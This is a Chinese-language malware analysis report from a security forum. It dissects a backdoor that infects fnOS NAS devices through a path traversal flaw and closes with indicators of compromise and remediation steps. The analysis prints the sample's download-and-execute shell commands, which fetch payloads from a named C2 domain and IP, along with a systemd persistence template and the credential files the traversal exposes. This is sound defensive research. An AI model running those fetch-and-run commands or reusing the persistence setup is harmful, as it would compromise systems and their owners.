飞牛NAS (fnOS) 路径穿越漏洞挂马样本深度技术分析报告
漏洞分析
捕获的样本 `BKD-fnOS-Agent` 显示,攻击者采用了隐蔽性极强的**状态机架构**,通过重定向系统标准流至 `/dev/null` 来规避检测,并结合 **systemd 服务实现长效持久化**。受感染的 NAS 设备将被纳入恶意 C2 僵尸网络,可能用于执行挖矿、DDoS 攻击或作为数据外泄的中转站。
2. 漏洞背景与威胁暴露面 ------------- ### 2.1 漏洞描述:未授权路径穿越 漏洞点位于 `/app-center-static` 静态资源接口。由于程序未能对输入路径进行充分的规范化校验,攻击者可通过构造包含 `../` 的特殊序列,越权访问系统内核文件及用户私有目录(如 `/etc/shadow`, `/root/.ssh/id_rsa`, 以及系统配置文件)。 ### 2.2 暴露情况分析 截至2026年初,全球约有 **20万+** 台飞牛NAS设备公网暴露。由于官方早期版本更新采用静默方式且缺乏公开安全公告,大量用户未能及时修补,形成了一个规模庞大的脆弱性暴露面。 - - - - - - 3. 恶意样本静态概览 (Static Analysis) ----------------------------- 实验对捕获的样本进行了基础属性鉴定: | 属性项 | 技术参数 | |---|---| | **样本名** | `BKD-fnOS-Agent` | | **文件类型** | ELF 64-bit LSB executable, x86-64 | | **文件大小** | 2.13 MB (2,132,816 Bytes) | | **MD5** | `8952adf21c927cd228c24ca431d3cdaf` | | **SHA256** | `3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd` | | **符号表** | 已剥离 (Stripped) | - - - - - - 4. 样本核心恶意逻辑解析 (Technical Breakdown) ----------------------------------- ### 4.1 基于状态机的控制流 (State Machine) 样本核心主函数 `sub_4D0` 采用经典的状态机设计。这种架构能够有效对抗简单的静态特征匹配,并使恶意行为呈现高度的动态性和阶段性。  - **初始状态 (ID: 5):** 环境自检与环境变量初始化。 - **指令等待 (ID: 8):** 与 C2 通信获取后续指示。 - **载荷下发 (ID: 22):** 执行核心横向移动或二阶段载荷下载。 ### 4.2 隐蔽下载与静默执行 在状态 `22LL` 下,样本展现了典型的“无文件投放”尝试,通过临时目录 `/tmp` 进行二阶段转存并立即执行: ```c // 伪代码:恶意载荷下载逻辑 case 22LL: sub_CF0("cd /tmp; rm -rf bkd; wget http://xd.killaurasleep.top/bkd; chmod +x bkd; ./bkd; rm -rf bkd"); sub_CF0("cd /tmp; rm -rf bkd2; wget http://151.240.13.91/bkd2; chmod +x bkd2; ./bkd2; rm -rf bkd2"); ```  此阶段采用了**双重冗余策略**:同时尝试从域名 `xd.killaurasleep.top` 和原生存 IP `151.240.13.91` 获取载荷,确保攻击链路的稳健性。 ### 4.3 标准流重定向技术 为规避各种终端审计和用户察觉,样本在 `sub_CF0` 中实现了复杂的重定向逻辑。它通过调用 `dup2` 将文件描述符 `1` (stdout) 和 `2` (stderr) 全部导向 `/dev/null`。   这种做法意味着任何由 `sub_115D` (execve 包装器) 启动的子进程都处于“完全静默”状态,即便产生错误信息也无法回显到终端。 ### 4.4 系统调用包装器与参数处理 (Execve Wrapper) 样本并未直接调用 libc 库函数,而是通过 `sub_115D` 实现了 `execve` 系统调用的深度包装。该函数具备处理可变参数的能力,能够灵活构造复杂的 shell 命令执行环境。  分析显示,`sub_115D` 使用了 `va_list` 机制遍历传入的参数。为了保证参数在内核态执行时的稳定性,样本通过 `alloca` 指令在栈上动态分配内存空间,将参数数组序列化后添加 NULL 终止符。  这种设计不仅增强了代码的可移植性,也为后续复杂插件或二阶段载荷的加载提供了底层支撑。 - - - - - - 5. 持久化机制深度分析 (Persistence) -------------------------- 样本针对 fnOS 基于 Linux 的特性,选择了最稳定的持久化方案:**Systemd Service 注入**。 ### 5.1 服务文件构造 (sub\_990) 样本会将自身重排并复制到系统受信任路径(如 `/usr/bin/`),随后动态生成一个 `.service` 配置文件。   生成的服务配置样例: ```ini [Unit] Description=AutoStart Service After=network-online.target [Service] Type=oneshot ExecStart=/usr/bin/[BKD_NAME] RemainAfterExit=yes [Install] WantedBy=multi-user.target ``` ### 5.2 自动启动链条 通过执行 `systemctl enable [service_name]`,攻击者在 `/etc/systemd/system/multi-user.target.wants/` 下建立了软链接。这确保了 NAS 设备即便在断电重启或固件升级后,恶意进程依然会自动重新拉起。  - - - - - - 6. 威胁情报 (Threat Intelligence - IOCs) ------------------------------------ ### 6.1 文件哈希 (Host Indicators) - **MD5:** `8952adf21c927cd228c24ca431d3cdaf` - **SHA-256:** `3c45b91ac9d4eb5d058a16af2719b7b1acdcd2f59b177de8ce1f9fbc01e423bd` ### 6.2 网络基础设施 (Network Indicators) - **C2 域名:** `xd.killaurasleep.top` - **C2 IP 地址:** `151.240.13.91` - **资源定位器 (URLs):** - `http://xd.killaurasleep.top/bkd` - `http://151.240.13.91/bkd2` ### 6.3 关键落地路径 (File Path IOCs) | 类别 | 检视路径 | |---|---| | **疑似恶意程序** | `/usr/sbin/gots` / `/usr/bin/nginx` / `/usr/bin/dockers` | | **系统组件篡改** | `/usr/trim/bin/trim_https_cgi` | | **持久化服务** | `/etc/systemd/system/*.service` | | **临时工作目录** | `/tmp/bkd`, `/tmp/bkd2` | - - - - - - 7. 处置与加固建议 ---------- 1. **紧急排查:** 检查系统是否存在上述 IOC 列表中的文件或异常 systemd 服务,重点关注 `/usr/bin/` 目录下近期新增的可执行文件。 2. **固件更新:** 立即升级 fnOS 至最新版本,确保路径穿越补丁已生效。 3. **内网隔离:** 在未完成修复前,建议关闭 NAS 设备的外部端口转发或使用 VPN 安全隧道。 4. **凭据清洗:** 由于攻击者可能利用路径穿越窃取 `/etc/shadow`,建议在清理完成后修改所有超级用户密码及 SSH 密钥。
发表于 2026-03-09 10:00:02
阅读 ( 692 )
分类:
二进制
1 推荐
收藏
0 条评论
bReaK_1
4 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!